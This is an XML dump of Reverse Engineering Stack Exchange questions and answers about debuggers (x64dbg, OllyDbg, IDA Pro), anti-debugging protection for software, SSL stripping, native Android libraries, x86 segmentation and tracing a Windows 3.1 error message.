  <row Id="21643" PostTypeId="1" CreationDate="2019-07-10T15:46:38.117" Score="1" ViewCount="4137" Body="&lt;p&gt;So I just switched to x64dbg (really using x32 atm) from windbg and so far I like it but the one thing I'm missing is windbg printing all the registers every step in the command window. Anyone know how to get a log like this?&lt;/p&gt;&#xA;" OwnerUserId="28991" LastActivityDate="2019-07-27T09:35:05.973" Title="x64dbg (x32dbg) log registers every step like windbg" Tags="|debugging|windbg|x64dbg|register|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21644" PostTypeId="2" ParentId="21643" CreationDate="2019-07-10T16:02:40.450" Score="2" Body="&lt;p&gt;You have registers listed in &lt;em&gt;CPU view&lt;/em&gt; (&lt;code&gt;View&lt;/code&gt;-&gt;&lt;code&gt;CPU&lt;/code&gt;) like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0vVlF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0vVlF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you want to get them in a trace log, you have to do: &lt;code&gt;Trace&lt;/code&gt;-&gt;&lt;code&gt;Trace into...&lt;/code&gt; and in &lt;em&gt;Log Text&lt;/em&gt; field, write: &lt;code&gt;registerName: {registerName}&lt;/code&gt; for every register name you want to be listed, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax: {eax}, ebx: {ebx}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and click &lt;code&gt;OK&lt;/code&gt;. Then under &lt;code&gt;Log window&lt;/code&gt; (&lt;code&gt;View-&amp;gt;Log Window&lt;/code&gt;) you will get that trace.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-07-10T16:02:40.450" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21645" PostTypeId="2" ParentId="21633" CreationDate="2019-07-10T18:55:32.350" Score="1" Body="&lt;p&gt;I don't know whether the advice I'll give you is the &amp;quot;leading edge way&amp;quot;, but I will describe some steps that you can perform in order to protect your software.&lt;/p&gt;&#xA;&lt;h1&gt;Is it possible to protect it such that no one will be able to crack it?&lt;/h1&gt;&#xA;&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, and it's important to know that and keep in mind that what you really want to do is to &lt;strong&gt;keep it as hard to crack as possible&lt;/strong&gt; and dishearten potential violator from doing that. So, you want to make it so complex and obfuscated that it would require a lot of work to change anything both statically and during the runtime.&lt;/p&gt;&#xA;&lt;h1&gt;Anti-debugging techniques&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Software breakpoints detection&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you probably know, to trigger a software breakpoint, debuggers use &lt;code&gt;int 3&lt;/code&gt; instruction, i.e. when you put a software breakpoint at some address, debugger will overwrite the byte at that address to &lt;code&gt;0xCC&lt;/code&gt; (&lt;code&gt;int 3&lt;/code&gt; opcode) and when this instruction triggers the interrupt, a debugger will restore the byte that was previously there. That means that every software breakpoint &lt;strong&gt;will change some byte&lt;/strong&gt; in the code section, so to detect it, you may create a function searching for &lt;code&gt;0xCC&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Control sum checking&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;It's a generalization of the previous technique. Instead of detecting only &lt;code&gt;0xCC&lt;/code&gt;, you will detect any change made in code, including fragments replaced by &lt;code&gt;NOP&lt;/code&gt;s. You want to apply it &lt;strong&gt;at the end&lt;/strong&gt; of protection process so that you don't need to change required control sum value at each change made in the code. I would advise you to put functions checking checksums at many different places in your code and if possible make each of them slightly different (so that it's not so easy to find them all at once).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Hardware breakpoint detection&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since hardware breakpoints don't require any changes in a process image, they cannot be detected using the above mentioned methods. They are implemented using &lt;code&gt;DR&lt;/code&gt; registers and it's possible to create &lt;code&gt;4&lt;/code&gt; of them as a maximum at given moment. To defend against them, you can just reset their values from time to time. &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_debug_register&quot; rel=&quot;nofollow noreferrer&quot;&gt;More info about debug registers&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Time / cycles checking&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since you have the source code, you can import other libraries even during runtime. On Linux you can do it via &lt;code&gt;dlopen&lt;/code&gt; (to load library) and &lt;code&gt;dlsym&lt;/code&gt; to get specific procedure from it.. Of course you should encrypt every string so that it's not straightforward to find out which functions you are using for measuring the time elapsed.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Other tricks&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Inlining every function&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;That will stop debuggers from recognising library functions, thus will be very annoying for everyone who wants to analyse your code. Of course, using &lt;code&gt;C++&lt;/code&gt; templates will also help. ;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Inserting junk code&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can put (and inline of course) many garbage functions that won't change your program behaviour, but it won't be obvious for person analysing disassembly. You don't have to write them yourself - you may use library functions as well.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Being nasty&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Of course, if someone is determined enough, he will eventually find all your control sum / breakpoint checking functions and &lt;code&gt;NOP&lt;/code&gt; them out. But what if you put there some code that will have an impact on the rest of application? Consider:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;  bool isBeingDebugged&#xA;  {&#xA;    if (controlSum(address) &amp;amp; rand() == requiredValue)&#xA;      return true;&#xA;    return false;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Above function not only checks for code integrity, but also modifies the &lt;strong&gt;global state&lt;/strong&gt; of a program. For instance, if you use later on some string decoding function relying on &lt;code&gt;rand()&lt;/code&gt; results, the application will likely behave differently if that function is simply replaced by &lt;code&gt;NOP&lt;/code&gt;s.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Being creative&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The best anti debugging technique is such that no one expects, so search, experiment and apply your own ideas.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/43/anti-debug-techniques-on-unix-platforms&quot;&gt;Additional information&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-07-13T09:24:32.393" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21646" PostTypeId="1" CreationDate="2019-07-10T19:25:17.793" Score="0" ViewCount="400" Body="&lt;p&gt;I am new to OllyDbg and I made a small (.NET Console App) program to test if I can crack the password. To set the break point where it writes &lt;strong&gt;Incorrect password.&lt;/strong&gt; I need to run the program first. But after it prints the password is incorrect, it closes, and when I click Debug&gt;Restart it deletes the break point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using OllyDbg 2&lt;/p&gt;&#xA;" OwnerUserId="28994" LastActivityDate="2019-07-10T19:25:17.793" Title="OllyDbg - After restarting program, breakpoints lost" Tags="|debugging|ollydbg|debuggers|" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="21647" PostTypeId="1" CreationDate="2019-07-11T03:19:41.277" Score="3" ViewCount="84" Body="&lt;p&gt;Lately I’ve become interested in reverse-engineering the APIs used by the Nintendo Switch Online (NSO) services (especially to see if it would be plausible for me to access their Mario Maker 2 API directly due to the lack of a bookmark site) and have been looking for various methods to access the original requests sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing I did was fire up Fiddler to try and read the requests. Obviously, they were sent using HTTPS and there is no reasonable way (that I can find) for me to get the Switch to trust my computer without hacking the Switch (ultimately banning me from the very services I’d like to examine, according to most hacking guides).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was ready to give up when I stumbled upon &lt;a href=&quot;https://gbatemp.net/threads/389227/#post-5505845&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt; on the GBATemp Forums about someone else attempting to read traffic (except from a 3DS), where one member brought up that there are:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;various tools and methods created to force devices to stop using SSL without access to them at all&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Do such tools/methods actually exist that would force my Switch to send plaintext requests that I could read from my proxy? Otherwise, is there anything else I’m not seeing here?&lt;/p&gt;&#xA;" OwnerUserId="28997" LastActivityDate="2019-07-11T03:19:41.277" Title="Can a device be forced to stop using SSL?" Tags="|networking|" AnswerCount="0" CommentCount="1" ClosedDate="2019-07-31T07:45:27.080" ContentLicense="CC BY-SA 4.0" />
  <row Id="21649" PostTypeId="1" CreationDate="2019-07-11T15:52:48.260" Score="1" ViewCount="157" Body="&lt;p&gt;Long Question: I have an Android app: &lt;a href=&quot;https://transfer.sh/mY240/com.phonegap.voyo.apk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://transfer.sh/mY240/com.phonegap.voyo.apk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which connects to an API: &lt;a href=&quot;http://www.24ur.com/lbin/WebApp/Popplus/Android.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.24ur.com/lbin/WebApp/Popplus/Android.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem is the api authors are now forcing everyone (with 302 redirect) to connect to https version of that endpoint (the endpoint is used by the new app so it still works) the problem is that they use TLS1.2 which Android 4.0 doesn't support (I think you have to enable it but I am not sure how to do that in an app that I did not write (I can dissasemble/reassemble the app so changing endpoints in it is not a problem, but enabling TLS1.2?))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;end the new app requires Android 5 or later so if I want to use the service which I pay for (Voyo) I have to eather upgrade my tabled (which I don't want to do) or downgrade HTTPS to HTTP so my android 4.0 will be able to connect to the API endpoint again&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short question: How to strip SSL on Windows so non-https clients (my old android 4.0 ICS tablet) can connect to the HTTPs service again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for Anwsering and Best Regards&lt;/p&gt;&#xA;" OwnerUserId="23062" LastEditorUserId="23062" LastEditDate="2019-07-11T16:16:33.167" LastActivityDate="2019-07-11T16:16:33.167" Title="Downgrade HTTPS (strip SSL ) to HTTP on Windows (if possible)" Tags="|windows|android|proxy|" AnswerCount="0" CommentCount="2" ClosedDate="2019-07-27T07:19:37.027" ContentLicense="CC BY-SA 4.0" />
  <row Id="21651" PostTypeId="1" AcceptedAnswerId="21652" CreationDate="2019-07-11T18:25:50.007" Score="0" ViewCount="1040" Body="&lt;p&gt;I have the following instruction in IDAs Decompiler:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;result = data[3 * a1] + ptr;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and would like to know what is at the position if a1=60.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have to look at data[180]. Unfortunately all I see there is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rodata:EDDCCB10          data   dd 0, 10001h, 2 dup(1), 10001h, 1, 2, 10001h, 1, 3, 10001h&#xA;.rodata:EDDCCB10                 dd 1, 4, 10001h, 1, 5, 10001h, 1, 6, 10001h, 1, 7, 10001h&#xA;.rodata:EDDCCB10                 dd 1, 8, 10001h, 1, 0Ch, 10004h, 1, 10h, 10004h, 1, 14h&#xA;.rodata:EDDCCB10                 dd 10004h, 1, 18h, 10004h, 1, 1Ch, 10004h, 1, 20h, 10004h&#xA;.rodata:EDDCCB10                 dd 1, 24h, 10004h, 1, 28h, 10004h, 1, 2Ch, 10010h, 1, 3Ch&#xA;.rodata:EDDCCB10                 dd 10040h, 1, 7Ch, 10006h, 1, 82h, 10001h, 1, 84h, 10078h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course I could just count 180 elements, but is there really no better way to know whats behind data[180] so I can look what the offset bases on ptr is?&lt;/p&gt;&#xA;" OwnerUserId="27992" LastActivityDate="2019-07-11T18:47:19.403" Title="IDA Pro jump to offset of DWORD" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21652" PostTypeId="2" ParentId="21651" CreationDate="2019-07-11T18:47:19.403" Score="1" Body="&lt;p&gt;There is. Move the cursor to &lt;code&gt;data&lt;/code&gt; and press &lt;code&gt;*&lt;/code&gt;. Uncheck &lt;code&gt;Use &quot;dup&quot; construct&lt;/code&gt; and select &lt;code&gt;Display indexes&lt;/code&gt; option. You'll get something like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3Ocfo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Ocfo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-07-11T18:47:19.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21653" PostTypeId="1" CreationDate="2019-07-11T21:27:51.763" Score="1" ViewCount="566" Body="&lt;p&gt;Decompiling a regular Android application I noticed that its code uses some native functions. So, unpacking the (.apk) file I found the usual &quot;lib&quot; folder and under that a series of folders for different architectures (arm64-v8a, armeabi-v7a, x86, x86_64). Each folder contains the same (.so) file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decompiled one of them (the one under the x86 folder) using IDA Pro and I found all the functions used natively from the Java code. Since I'm still not so good with assembly code, I would like to reverse the behavior of those functions calling them with different arguments from my own code, maybe linking the (.so) library in some way. I've never done something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, do you know a proper way to do this in Windows/Linux? (Preferably Java on Windows?) That could help me a lot to follow the instructions in IDA.&lt;/p&gt;&#xA;" OwnerUserId="29005" LastEditorUserId="29005" LastEditDate="2019-07-12T10:29:46.950" LastActivityDate="2019-07-12T10:29:46.950" Title="Calling functions of a shared object (.so) extracted from an APK" Tags="|decompilation|java|apk|libraries|shared-object|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21654" PostTypeId="1" AcceptedAnswerId="21658" CreationDate="2019-07-12T04:29:55.807" Score="1" ViewCount="568" Body="&lt;p&gt;I load my project into IDA 7 and select 8086 as this rom is a 512kb in the high address space. I apply an offset of 0x80000 and it loads properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then go to 0xFFFF0 and find a far jump to 0xFDAF:0x0 which has far jumps to 0xC000:0x0 and in that segment there are tons of 0xC000:0xNNN (lots of offsets).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was a nightmare creating and shrinking segments so I greped through the binary dump and pulled the 8 hex values after every far jump (0xEA). I then formatted and calculated the ohysical addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see in the segment list that the majority of segments overlap (eg):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xC000:0x0000 = 0x0C0000&#xA;0xC000:0x12DB = 0x0C12DB&#xA;0xC003:0xA908 = 0x0CA938&#xA;0xC003:0xC908 = 0x0CC938&#xA;0xC007:0x506A = 0x0C50DA&#xA;0xC013:0x0903 = 0x0C0A33&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From a running code prospective overlapping segments are irrelevent but IDA can not have overlaps. How am I suppose to walk through the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Files:&lt;br&gt;&#xA;&lt;a href=&quot;https://drive.google.com/file/d/1r1KbKReEaktIh43GC_pUbX1v8OivH5EA/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;ROM.BIN&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://pastebin.com/K6HGHiRi&quot; rel=&quot;nofollow noreferrer&quot;&gt;Segment List&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;0x49cdb: ea08a903c0 = jmp 0xc003:a908&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00049cb0: 8b36 4a90 8b16 2990 2bf2 5e73 0b8b deb3  .6J...).+.^s....&#xA;00049cc0: 208b f3b0 08a2 8b90 f7c6 2000 7503 e9ab   ......... .u...&#xA;00049cd0: fd8b c6e8 9200 240f 3c07 747e a08a 903c  ......$.&amp;lt;.t~...&amp;lt;&#xA;00049ce0: 0774 05b0 00a2 8a90 a08b 903c 0874 03e9  .t.........&amp;lt;.t..&#xA;00049cf0: 8afd b200 b115 e8d7 45b0 d7e8 820d 8b36  ........E......6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27498" LastEditorUserId="27498" LastEditDate="2019-07-12T13:33:56.097" LastActivityDate="2019-07-13T10:45:50.270" Title="Dealing With x86 Segmentation Overlaps" Tags="|ida|x86|segmentation|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21655" PostTypeId="2" ParentId="21454" CreationDate="2019-07-12T09:15:09.247" Score="1" Body="&lt;p&gt;You can unpack MPRESS directly in IDA using the Bochs debugger (or any other supported by IDA). Check &lt;a href=&quot;http://www.hexblog.com/?p=403&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog post&lt;/a&gt; for the details (IDA 6.1 but still mostly applied to current versions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I work for Hex-Rays.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-07-12T09:15:09.247" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21656" PostTypeId="2" ParentId="18493" CreationDate="2019-07-12T09:52:41.797" Score="2" Body="&lt;p&gt;When working with the architecture that you don't know, it's better to start with getting familiar with the assembler generated by the compiler for this architecture. If you google for &quot;V850 compiler&quot; you will find C Compiler and IDE for V850 Family at Renesas site. Most likely it's the compiler that was used by the firmware developers. Then you install the compiler and start to build helloworld-like examples to learn, how the code of the functions look like in disassembler, which bytes of the code are prolog and epilog. Thus you know what to look for in the firmware you try to disassemble, and know how to find the function start.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2019-07-12T09:52:41.797" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21657" PostTypeId="1" CreationDate="2019-07-12T13:01:05.750" Score="1" ViewCount="472" Body="&lt;p&gt;Experimenting Visual Basic 4 in DosBox + Windows 3.1 running on Windows 10. While I have installed SHARE.exe from MS-DOS 6.22 and it seems to run OK, it still fails to detect it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error I get is : &quot;SHARE.exe must be installed in order to run Visual Basic&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to work out how the SHARE.exe detection works. I installed the Windows 3.1 SDK and tried to debug with CodeView. However I can't figure out how to set a breakpoint on MESSAGEBOX, and I can't use the keyboard shortcut to &quot;halt&quot; the system and break into CodeView as it seems to be passed to Windows host instead of Dosbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An analysis of VBIDE.dll I can find the error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;res098:0000 ; Resource, type (8006): String table&#xA;res098:0000 ; File offset      : 26CB0h  Length: 0100h&#xA;res098:0000 ; Attributes (1C30): Movable Pure&#xA;res098:0000 ; Resource ID      : 3143&#xA;res098:0000 ; ===========================================================================&#xA;res098:0000&#xA;res098:0000 ; Segment type: Regular&#xA;res098:0000 res098          segment para public 'RESOURCE' use16&#xA;res098:0000                 assume cs:res098&#xA;res098:0000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing&#xA;res098:0000 a8shareExeMustB db '8SHARE.EXE must be installed in order to run Visual Basic',0&#xA;res098:003A aRecordsourcePr db '&amp;gt;RecordSource property of the associated data control is empty.MV'&#xA;res098:003A                 db 'isual Basic was not able to start up due to an invalid system con'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The VBIDE.dll is referenced in VB.exe this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cseg15:2EBF                 mov     es, [bp+var_4+2]&#xA;cseg15:2EC2                 mov     byte ptr es:[si+1], 0&#xA;cseg15:2EC7                 lea     ax, [bp+var_17A]&#xA;cseg15:2ECB                 push    ss&#xA;cseg15:2ECC                 push    ax              ; LPCSTR&#xA;cseg15:2ECD                 push    ds&#xA;cseg15:2ECE                 push    offset aVbideDll ; &quot;VBIDE.DLL&quot;&#xA;cseg15:2ED1                 call    sub_37E70&#xA;cseg15:2ED6                 mov     word_10C9DC, ax&#xA;cseg15:2ED9                 or      ax, ax&#xA;cseg15:2EDB                 jnz     short loc_389CC&#xA;cseg15:2EDD                 push    ds&#xA;cseg15:2EDE                 push    offset aVbideDll_0 ; &quot;VBIDE.DLL&quot;&#xA;cseg15:2EE1                 push    ds&#xA;cseg15:2EE2                 push    offset aTheLanguageDll ; &quot;The language DLL '%s' could not be foun&quot;...&#xA;cseg15:2EE5                 lea     ax, [bp+var_27A]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suspect this word_10C9DC location is important, and it's referenced when calling LOADSTRING (Some examples there are many more)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cseg09:269A                 enter   50h, 0&#xA;cseg09:269E                 push    word_10C9DC     ; HINSTANCE&#xA;cseg09:26A2                 push    7D0h            ; UINT&#xA;cseg09:26A5                 lea     ax, [bp+var_28]&#xA;cseg09:26A8                 push    ss&#xA;cseg09:26A9                 push    ax              ; LPSTR&#xA;cseg09:26AA                 push    28h ; '('       ; int&#xA;cseg09:26AC                 call    LOADSTRING&#xA;cseg09:26B1                 push    word_10C9DC     ; HINSTANCE&#xA;cseg09:26B5                 push    [bp+arg_2]      ; UINT&#xA;cseg09:26B8                 lea     ax, [bp+var_50]&#xA;cseg09:26BB                 push    ss&#xA;cseg09:26BC                 push    ax              ; LPSTR&#xA;cseg09:26BD                 push    28h ; '('       ; int&#xA;cseg09:26BF                 call    LOADSTRING&#xA;cseg09:26C4                 lea     ax, [bp+var_28]&#xA;cseg09:26C7                 push    ss&#xA;cseg09:26C8                 push    ax              ; LPCSTR&#xA;cseg09:26C9                 lea     ax, [bp+var_50]&#xA;cseg09:26CC                 push    ss&#xA;cseg09:26CD                 push    ax              ; LPCSTR&#xA;cseg09:26CE                 push    [bp+arg_0]      ; int&#xA;cseg09:26D1                 push    seg cseg04&#xA;cseg09:26D4                 push    offset aVbIni   ; &quot;VB.INI&quot;&#xA;cseg09:26D7                 call    GETPRIVATEPROFILEINT&#xA;cseg09:26DC                 leave&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a few MESSAGEBOX references:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MessageBox #1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cseg05:0EC8                 push    0               ; HWND&#xA;cseg05:0ECA                 les     bx, dword_10C1F8&#xA;cseg05:0ECE                 add     bx, es:[bx+9Ah]&#xA;cseg05:0ED3                 push    es&#xA;cseg05:0ED4                 push    bx              ; LPCSTR&#xA;cseg05:0ED5                 push    0&#xA;cseg05:0ED7                 push    0               ; LPCSTR&#xA;cseg05:0ED9                 push    10h             ; UINT&#xA;cseg05:0EDB                 call    MESSAGEBOX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;MessageBox #2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cseg15:2FE2                 push    0               ; HWND&#xA;cseg15:2FE4                 les     bx, dword_10C1F8&#xA;cseg15:2FE8                 add     bx, es:[bx+9Eh]&#xA;cseg15:2FED                 push    es&#xA;cseg15:2FEE                 push    bx              ; LPCSTR&#xA;cseg15:2FEF                 push    seg cseg02&#xA;cseg15:2FF2                 push    offset byte_9EC8 ; LPCSTR&#xA;cseg15:2FF5                 push    1010h           ; UINT&#xA;cseg15:2FF8                 call    MESSAGEBOX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;MessageBox #4 &amp;amp; 5&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cseg47:297E                 push    bp&#xA;cseg47:297F                 mov     bp, sp&#xA;cseg47:2981                 push    di&#xA;cseg47:2982                 push    si&#xA;cseg47:2983                 mov     di, [bp+6]&#xA;cseg47:2986                 mov     es, word ptr [bp+8]&#xA;cseg47:2989                 push    word ptr es:[di]&#xA;cseg47:298C                 push    word ptr es:[di+4]&#xA;cseg47:2990                 push    word ptr es:[di+2]&#xA;cseg47:2994                 push    word ptr es:[di+8]&#xA;cseg47:2998                 push    word ptr es:[di+6]&#xA;cseg47:299C                 push    word ptr es:[di+0Ah]&#xA;cseg47:29A0                 call    MESSAGEBOX&#xA;cseg47:29A5                 mov     si, ax&#xA;cseg47:29A7                 or      si, ax&#xA;cseg47:29A9                 jnz     short loc_B517F&#xA;cseg47:29AB                 mov     es, word ptr [bp+8]&#xA;cseg47:29AE                 and     word ptr es:[di+0Ah], 0CF0Fh&#xA;cseg47:29B4                 push    word ptr es:[di]&#xA;cseg47:29B7                 push    word ptr es:[di+4]&#xA;cseg47:29BB                 push    word ptr es:[di+2]&#xA;cseg47:29BF                 push    word ptr es:[di+8]&#xA;cseg47:29C3                 push    word ptr es:[di+6]&#xA;cseg47:29C7                 or      word ptr es:[di+0Ah], 1010h&#xA;cseg47:29CD                 push    word ptr es:[di+0Ah]&#xA;cseg47:29D1                 call    MESSAGEBOX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I couldn't work out which messagebox was displaying the message, so I replaced them all with int 3, this allowed me to break into the CodeView debugger. From this I worked out relevant MESSAGEBOX code displaying error was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cseg47:297E                 push    bp&#xA;cseg47:297F                 mov     bp, sp&#xA;cseg47:2981                 push    di&#xA;cseg47:2982                 push    si&#xA;cseg47:2983                 mov     di, [bp+6]&#xA;cseg47:2986                 mov     es, word ptr [bp+8]&#xA;cseg47:2989                 push    word ptr es:[di]&#xA;cseg47:298C                 push    word ptr es:[di+4]&#xA;cseg47:2990                 push    word ptr es:[di+2]&#xA;cseg47:2994                 push    word ptr es:[di+8]&#xA;cseg47:2998                 push    word ptr es:[di+6]&#xA;cseg47:299C                 push    word ptr es:[di+0Ah]&#xA;cseg47:29A0                 call    MESSAGEBOX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However there was no xref to this section of code, the only reference I could find to this location was these push statements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_B51AB:&#xA;mov     ax, [bp+arg_6]&#xA;mov     dx, [bp+arg_8]&#xA;mov     [bp+var_A], ax&#xA;mov     [bp+var_8], dx&#xA;mov     ax, [bp+arg_2]&#xA;mov     dx, [bp+arg_4]&#xA;mov     [bp+var_6], ax&#xA;mov     [bp+var_4], dx&#xA;mov     ax, [bp+arg_0]&#xA;mov     [bp+var_2], ax&#xA;push    seg cseg47&#xA;push    297Eh&#xA;lea     ax, [bp+var_C]&#xA;push    ss&#xA;push    ax&#xA;push    ss&#xA;push    ax&#xA;call    sub_B4F7C&#xA;leave&#xA;retf    0Ch&#xA;sub_B5188 endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What code set up the message box string here, and is there a way by knowing the details in resource DLL what assembly I should look for when then string is loaded. &lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2019-07-13T05:06:01.997" LastActivityDate="2019-07-13T16:37:33.973" Title="Find Reference To Resource String In Windows 3.1 16-bit DLL with IDA Pro" Tags="|ida|windows|assembly|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
